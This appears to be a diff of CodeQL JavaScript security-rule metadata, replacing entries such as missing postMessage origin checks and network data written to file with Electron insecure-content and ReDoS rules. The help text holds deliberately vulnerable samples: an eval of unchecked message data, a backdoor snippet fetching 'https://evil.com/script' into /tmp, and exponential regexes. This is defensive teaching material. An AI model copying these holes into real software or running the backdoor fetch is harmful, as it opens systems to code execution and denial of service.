-          "name" : "js/missing-origin-check",
+          "id" : "js/enabling-electron-insecure-content",
+          "name" : "js/enabling-electron-insecure-content",
           "shortDescription" : {
-            "text" : "Missing origin verification in `postMessage` handler"
+            "text" : "Enabling Electron allowRunningInsecureContent"
           },
           "fullDescription" : {
-            "text" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler."
+            "text" : "Enabling allowRunningInsecureContent can allow remote code execution."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "warning"
+            "level" : "error"
           },
           "help" : {
-            "text" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    let origin = event.origin.toLowerCase();\n\n    console.log(origin)\n    // BAD: the origin property is not checked\n    eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    console.log(event.origin)\n    // GOOD: the origin property is checked\n    if (event.origin === 'https://www.example.com') {\n        // do something\n    }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n",
-            "markdown" : "# Missing origin verification in `postMessage` handler\nThe `\"message\"` event is used to send messages between windows. An untrusted window can send a message to a trusted window, and it is up to the receiver to verify the legitimacy of the message. One way of performing that verification is to check the `origin` of the message ensure that it originates from a trusted window.\n\n\n## Recommendation\nAlways verify the origin of incoming messages.\n\n\n## Example\nThe example below uses a received message to execute some code. However, the origin of the message is not checked, so it might be possible for an attacker to execute arbitrary code.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    let origin = event.origin.toLowerCase();\n\n    console.log(origin)\n    // BAD: the origin property is not checked\n    eval(event.data);\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n\n```\nThe example is fixed below, where the origin is checked to be trusted. It is therefore not possible for a malicious user to perform an attack using an untrusted origin.\n\n\n```javascript\nfunction postMessageHandler(event) {\n    console.log(event.origin)\n    // GOOD: the origin property is checked\n    if (event.origin === 'https://www.example.com') {\n        // do something\n    }\n}\n\nwindow.addEventListener('message', postMessageHandler, false);\n```\n\n## References\n* [Window.postMessage()](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage).\n* [Web message manipulation](https://portswigger.net/web-security/dom-based/web-message-manipulation).\n* [The pitfalls of postMessage](https://labs.detectify.com/2016/12/08/the-pitfalls-of-postmessage/).\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-940](https://cwe.mitre.org/data/definitions/940.html).\n"
+            "text" : "# Enabling Electron allowRunningInsecureContent\nElectron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy.\n\nEnabling the execution of insecure content is strongly discouraged.\n\n\n## Recommendation\nDo not enable the `allowRunningInsecureContent` property.\n\n\n## Example\nThe following example shows `allowRunningInsecureContent` being enabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    allowRunningInsecureContent: true\n  }\n})\n```\nThis is problematic, since it allows the execution of code from an untrusted origin.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true)\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n",
+            "markdown" : "# Enabling Electron allowRunningInsecureContent\nElectron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy.\n\nEnabling the execution of insecure content is strongly discouraged.\n\n\n## Recommendation\nDo not enable the `allowRunningInsecureContent` property.\n\n\n## Example\nThe following example shows `allowRunningInsecureContent` being enabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    allowRunningInsecureContent: true\n  }\n})\n```\nThis is problematic, since it allows the execution of code from an untrusted origin.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true)\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n"
           },
           "properties" : {
-            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-940" ],
-            "description" : "Missing origin verification in a `postMessage` handler allows any windows to send arbitrary data to the handler.",
-            "id" : "js/missing-origin-check",
+            "tags" : [ "security", "frameworks/electron", "external/cwe/cwe-494" ],
+            "description" : "Enabling allowRunningInsecureContent can allow remote code execution.",
+            "id" : "js/enabling-electron-insecure-content",
             "kind" : "problem",
-            "name" : "Missing origin verification in `postMessage` handler",
-            "precision" : "medium",
-            "problem.severity" : "warning",
-            "security-severity" : "5"
+            "name" : "Enabling Electron allowRunningInsecureContent",
+            "precision" : "very-high",
+            "problem.severity" : "error",
+            "security-severity" : "8.8"
           }
         }, {
-          "id" : "js/client-side-request-forgery",
-          "name" : "js/client-side-request-forgery",
+          "id" : "js/redos",
+          "name" : "js/redos",
           "shortDescription" : {
-            "text" : "Client-side request forgery"
+            "text" : "Inefficient regular expression"
           },
           "fullDescription" : {
-            "text" : "Making a client-to-server request with user-controlled data in the URL allows a request forgery attack against the client."
+            "text" : "A regular expression that requires exponential time to match certain inputs can be a performance bottleneck, and may be vulnerable to denial-of-service attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "error"
           },
           "help" : {
-            "text" : "# Client-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. A client-side forged request may perform an unwanted action affecting the victim's account, or may lead to cross-site scripting if the request response is handled in an unsafe way. This is different from CSRF (cross-site request forgery), and will usually bypass CSRF protections. This is usually less severe than SSRF (server-side request forgery), as it does not expose internal services.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request used to fetch the pre-rendered HTML body of a message. It is using the endpoint `/api/messages/ID`, which is believed to respond with a safe HTML string, to be embedded in the page:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + query.get('message_id');\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\nHowever, the format of the message ID is not checked, and an attacker can abuse this to alter the endpoint targeted by the request. If they can redirect it to an endpoint that returns an untrusted value, this leads to cross-site scripting.\n\nFor example, given the query string `message_id=../pastebin/123`, the request will end up targeting the `/api/pastebin` endpoint. Or if there is an open redirect on the login page, a query string like `message_id=../../login?redirect_url=https://evil.com` could give the attacker full control over the response as well.\n\nIn example below, the input has been restricted to a number so that the endpoint cannot be altered:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + Number(query.get('message_id'));\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\n\n## References\n* OWASP: [Server-side request forgery](https://cwe.mitre.org/data/definitions/918.html)\n* OWASP: [Cross-site request forgery](https://cwe.mitre.org/data/definitions/352.html)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n",
-            "markdown" : "# Client-side request forgery\nDirectly incorporating user input in the URL of an outgoing HTTP request can enable a request forgery attack, in which the request is altered to target an unintended API endpoint or resource. A client-side forged request may perform an unwanted action affecting the victim's account, or may lead to cross-site scripting if the request response is handled in an unsafe way. This is different from CSRF (cross-site request forgery), and will usually bypass CSRF protections. This is usually less severe than SSRF (server-side request forgery), as it does not expose internal services.\n\n\n## Recommendation\nRestrict user inputs in the URL of an outgoing request, in particular:\n\n* Avoid user input in the hostname of the URL. Pick the hostname from an allow-list instead of constructing it directly from user input.\n* Take care when user input is part of the pathname of the URL. Restrict the input so that path traversal (\"`../`\") cannot be used to redirect the request to an unintended endpoint.\n\n## Example\nThe following example shows an HTTP request used to fetch the pre-rendered HTML body of a message. It is using the endpoint `/api/messages/ID`, which is believed to respond with a safe HTML string, to be embedded in the page:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + query.get('message_id');\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\nHowever, the format of the message ID is not checked, and an attacker can abuse this to alter the endpoint targeted by the request. If they can redirect it to an endpoint that returns an untrusted value, this leads to cross-site scripting.\n\nFor example, given the query string `message_id=../pastebin/123`, the request will end up targeting the `/api/pastebin` endpoint. Or if there is an open redirect on the login page, a query string like `message_id=../../login?redirect_url=https://evil.com` could give the attacker full control over the response as well.\n\nIn example below, the input has been restricted to a number so that the endpoint cannot be altered:\n\n\n```javascript\nasync function loadMessage() {\n    const query = new URLSearchParams(location.search);\n    const url = '/api/messages/' + Number(query.get('message_id'));\n    const data = await (await fetch(url)).json();\n    document.getElementById('message').innerHTML = data.html;\n}\n\n```\n\n## References\n* OWASP: [Server-side request forgery](https://cwe.mitre.org/data/definitions/918.html)\n* OWASP: [Cross-site request forgery](https://cwe.mitre.org/data/definitions/352.html)\n* Common Weakness Enumeration: [CWE-918](https://cwe.mitre.org/data/definitions/918.html).\n"
+            "text" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
+            "markdown" : "# Inefficient regular expression\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this regular expression:\n\n```javascript\n\n/^_(__|.)+_$/\n```\nIts sub-expression `\"(__|.)+?\"` can match the string `\"__\"` either by the first alternative `\"__\"` to the left of the `\"|\"` operator, or by two repetitions of the second alternative `\".\"` to the right. Thus, a string consisting of an odd number of underscores followed by some other character will cause the regular expression engine to run for an exponential amount of time before rejecting the input.\n\nThis problem can be avoided by rewriting the regular expression to remove the ambiguity between the two branches of the alternative inside the repetition:\n\n```javascript\n\n/^_(__|[^_])+_$/\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-918" ],
-            "description" : "Making a client-to-server request with user-controlled data in the URL allows a request forgery attack\n              against the client.",
-            "id" : "js/client-side-request-forgery",
-            "kind" : "path-problem",
-            "name" : "Client-side request forgery",
-            "precision" : "medium",
+            "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ],
+            "description" : "A regular expression that requires exponential time to match certain inputs\n              can be a performance bottleneck, and may be vulnerable to denial-of-service\n              attacks.",
+            "id" : "js/redos",
+            "kind" : "problem",
+            "name" : "Inefficient regular expression",
+            "precision" : "high",
             "problem.severity" : "error",
-            "security-severity" : "5.0"
+            "security-severity" : "7.5"
           }
         }, {
-          "id" : "js/http-to-file-access",
-          "name" : "js/http-to-file-access",
+          "id" : "js/polynomial-redos",
+          "name" : "js/polynomial-redos",
           "shortDescription" : {
-            "text" : "Network data written to file"
+            "text" : "Polynomial regular expression used on uncontrolled data"
           },
           "fullDescription" : {
-            "text" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor."
+            "text" : "A regular expression that can require polynomial time to match may be vulnerable to denial-of-service attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n  res.on(\"data\", d => {\n    fs.writeFileSync(\"/tmp/script\", d)\n  })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n",
-            "markdown" : "# Network data written to file\nStoring user-controlled data on the local file system without further validation allows arbitrary file upload, and may be an indication of malicious backdoor code that has been implanted into an otherwise trusted code base.\n\n\n## Recommendation\nExamine the highlighted code closely to ensure that it is behaving as intended.\n\n\n## Example\nThe following example shows backdoor code that downloads data from the URL `https://evil.com/script`, and stores it in the local file `/tmp/script`.\n\n\n```javascript\nvar https = require(\"https\");\nvar fs = require(\"fs\");\n\nhttps.get('https://evil.com/script', res => {\n  res.on(\"data\", d => {\n    fs.writeFileSync(\"/tmp/script\", d)\n  })\n});\n\n```\nOther parts of the program might then assume that since `/tmp/script` is a local file its contents can be trusted, while in fact they are obtained from an untrusted remote source.\n\n\n## References\n* OWASP: [Trojan Horse](https://www.owasp.org/index.php/Trojan_Horse).\n* OWASP: [Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload).\n* Common Weakness Enumeration: [CWE-912](https://cwe.mitre.org/data/definitions/912.html).\n* Common Weakness Enumeration: [CWE-434](https://cwe.mitre.org/data/definitions/434.html).\n"
+            "text" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(?<!\\s)\\s+$/g`), or just by using the built-in trim method (`text.trim()`).\n\nNote that the sub-expression `\"^\\s+\"` is **not** problematic as the `^` anchor restricts when that sub-expression can start matching, and as the regular expression engine matches from left to right.\n\n\n## Example\nAs a similar, but slightly subtler problem, consider the regular expression that matches lines with numbers, possibly written using scientific notation:\n\n```javascript\n\n/^0\\.\\d+E?\\d+$/.test(str) // BAD\n```\nThe problem with this regular expression is in the sub-expression `\\d+E?\\d+` because the second `\\d+` can start matching digits anywhere after the first match of the first `\\d+` if there is no `E` in the input string.\n\nThis is problematic for strings that do **not** end with a digit. Such a string will force the regular expression engine to process each digit sequence once per digit in the sequence, again leading to a quadratic time complexity.\n\nTo make the processing faster, the regular expression should be rewritten such that the two `\\d+` sub-expressions do not have overlapping matches: `^0\\.\\d+(E\\d+)?$`.\n\n\n## Example\nSometimes it is unclear how a regular expression can be rewritten to avoid the problem. In such cases, it often suffices to limit the length of the input string. For instance, the following regular expression is used to match numbers, and on some non-number inputs it can have quadratic time complexity:\n\n```javascript\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str) // BAD\n```\nIt is not immediately obvious how to rewrite this regular expression to avoid the problem. However, you can mitigate performance issues by limiting the length to 1000 characters, which will always finish in a reasonable amount of time.\n\n```javascript\n\nif (str.length > 1000) {\n    throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n",
+            "markdown" : "# Polynomial regular expression used on uncontrolled data\nSome regular expressions take a long time to match certain input strings to the point where the time it takes to match a string of length *n* is proportional to *n<sup>k</sup>* or even *2<sup>n</sup>*. Such regular expressions can negatively affect performance, or even allow a malicious user to perform a Denial of Service (\"DoS\") attack by crafting an expensive input string for the regular expression to match.\n\nThe regular expression engines provided by many popular JavaScript platforms use backtracking non-deterministic finite automata to implement regular expression matching. While this approach is space-efficient and allows supporting advanced features like capture groups, it is not time-efficient in general. The worst-case time complexity of such an automaton can be polynomial or even exponential, meaning that for strings of a certain shape, increasing the input length by ten characters may make the automaton about 1000 times slower.\n\nTypically, a regular expression is affected by this problem if it contains a repetition of the form `r*` or `r+` where the sub-expression `r` is ambiguous in the sense that it can match some string in multiple ways. More information about the precise circumstances can be found in the references.\n\n\n## Recommendation\nModify the regular expression to remove the ambiguity, or ensure that the strings matched with the regular expression are short enough that the time-complexity does not matter.\n\n\n## Example\nConsider this use of a regular expression, which removes all leading and trailing whitespace in a string:\n\n```javascript\n\ntext.replace(/^\\s+|\\s+$/g, ''); // BAD\n```\nThe sub-expression `\"\\s+$\"` will match the whitespace characters in `text` from left to right, but it can start matching anywhere within a whitespace sequence. This is problematic for strings that do **not** end with a whitespace character. Such a string will force the regular expression engine to process each whitespace sequence once per whitespace character in the sequence.\n\nThis ultimately means that the time cost of trimming a string is quadratic in the length of the string. So a string like `\"a b\"` will take milliseconds to process, but a similar string with a million spaces instead of just one will take several minutes.\n\nAvoid this problem by rewriting the regular expression to not contain the ambiguity about when to start matching whitespace sequences. For instance, by using a negative look-behind (`/^\\s+|(?<!\\s)\\s+$/g`), or just by using the built-in trim method (`text.trim()`).\n\nNote that the sub-expression `\"^\\s+\"` is **not** problematic as the `^` anchor restricts when that sub-expression can start matching, and as the regular expression engine matches from left to right.\n\n\n## Example\nAs a similar, but slightly subtler problem, consider the regular expression that matches lines with numbers, possibly written using scientific notation:\n\n```javascript\n\n/^0\\.\\d+E?\\d+$/.test(str) // BAD\n```\nThe problem with this regular expression is in the sub-expression `\\d+E?\\d+` because the second `\\d+` can start matching digits anywhere after the first match of the first `\\d+` if there is no `E` in the input string.\n\nThis is problematic for strings that do **not** end with a digit. Such a string will force the regular expression engine to process each digit sequence once per digit in the sequence, again leading to a quadratic time complexity.\n\nTo make the processing faster, the regular expression should be rewritten such that the two `\\d+` sub-expressions do not have overlapping matches: `^0\\.\\d+(E\\d+)?$`.\n\n\n## Example\nSometimes it is unclear how a regular expression can be rewritten to avoid the problem. In such cases, it often suffices to limit the length of the input string. For instance, the following regular expression is used to match numbers, and on some non-number inputs it can have quadratic time complexity:\n\n```javascript\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str) // BAD\n```\nIt is not immediately obvious how to rewrite this regular expression to avoid the problem. However, you can mitigate performance issues by limiting the length to 1000 characters, which will always finish in a reasonable amount of time.\n\n```javascript\n\nif (str.length > 1000) {\n    throw new Error(\"Input too long\");\n}\n\n/^(\\+|-)?(\\d+|(\\d*\\.\\d*))?(E|e)?([-+])?(\\d+)?$/.test(str)\n```\n\n## References\n* OWASP: [Regular expression Denial of Service - ReDoS](https://www.owasp.org/index.php/Regular_expression_Denial_of_Service_-_ReDoS).\n* Wikipedia: [ReDoS](https://en.wikipedia.org/wiki/ReDoS).\n* Wikipedia: [Time complexity](https://en.wikipedia.org/wiki/Time_complexity).\n* James Kirrage, Asiri Rathnayake, Hayo Thielecke: [Static Analysis for Regular Expression Denial-of-Service Attack](https://arxiv.org/abs/1301.0849).\n* Common Weakness Enumeration: [CWE-1333](https://cwe.mitre.org/data/definitions/1333.html).\n* Common Weakness Enumeration: [CWE-730](https://cwe.mitre.org/data/definitions/730.html).\n* Common Weakness Enumeration: [CWE-400](https://cwe.mitre.org/data/definitions/400.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "external/cwe/cwe-912", "external/cwe/cwe-434" ],
-            "description" : "Writing network data directly to the file system allows arbitrary file upload and might indicate a backdoor.",
-            "id" : "js/http-to-file-access",
+            "tags" : [ "security", "external/cwe/cwe-1333", "external/cwe/cwe-730", "external/cwe/cwe-400" ],
+            "description" : "A regular expression that can require polynomial time\n              to match may be vulnerable to denial-of-service attacks.",
+            "id" : "js/polynomial-redos",
             "kind" : "path-problem",
-            "name" : "Network data written to file",
-            "precision" : "medium",
+            "name" : "Polynomial regular expression used on uncontrolled data",
+            "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "6.3"
+            "security-severity" : "7.5"
           }
         }, {
           "id" : "js/hardcoded-data-interpreted-as-code",
@@ -2706,142 +2615,196 @@
             "security-severity" : "9.1"
           }
         }, {
-          "id" : "js/insecure-temporary-file",
-          "name" : "js/insecure-temporary-file",
+          "id" : "js/samesite-none-cookie",
+          "name" : "js/samesite-none-cookie",
           "shortDescription" : {
-            "text" : "Insecure temporary file"
+            "text" : "Sensitive cookie without SameSite restrictions"
           },
           "fullDescription" : {
-            "text" : "Creating a temporary file that is accessible by other users can lead to information disclosure and sometimes remote code execution."
+            "text" : "Sensitive cookies where the SameSite attribute is set to \"None\" can in some cases allow for Cross-Site Request Forgery (CSRF) attacks."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n",
-            "markdown" : "# Insecure temporary file\nTemporary files created in the operating system's temporary directory are by default accessible to other users. In some cases, this can lead to information exposure, or in the worst case, to remote code execution.\n\n\n## Recommendation\nUse a well-tested library like [tmp](https://www.npmjs.com/package/tmp) for creating temporary files. These libraries ensure both that the file is inaccessible to other users and that the file does not already exist.\n\n\n## Example\nThe following example creates a temporary file in the operating system's temporary directory.\n\n\n```javascript\nconst fs = require('fs');\nconst os = require('os');\nconst path = require('path');\n\nconst file = path.join(os.tmpdir(), \"test-\" + (new Date()).getTime() + \".txt\");\nfs.writeFileSync(file, \"content\");\n```\nThe file created above is accessible to other users, and there is no guarantee that the file does not already exist.\n\nThe below example uses the [tmp](https://www.npmjs.com/package/tmp) library to securely create a temporary file.\n\n\n```javascript\nconst fs = require('fs');\nconst tmp = require('tmp');\n\nconst file = tmp.fileSync().name;\nfs.writeFileSync(file, \"content\");\n```\n\n## References\n* Mitre.org: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* NPM: [tmp](https://www.npmjs.com/package/tmp).\n* Common Weakness Enumeration: [CWE-377](https://cwe.mitre.org/data/definitions/377.html).\n* Common Weakness Enumeration: [CWE-378](https://cwe.mitre.org/data/definitions/378.html).\n"
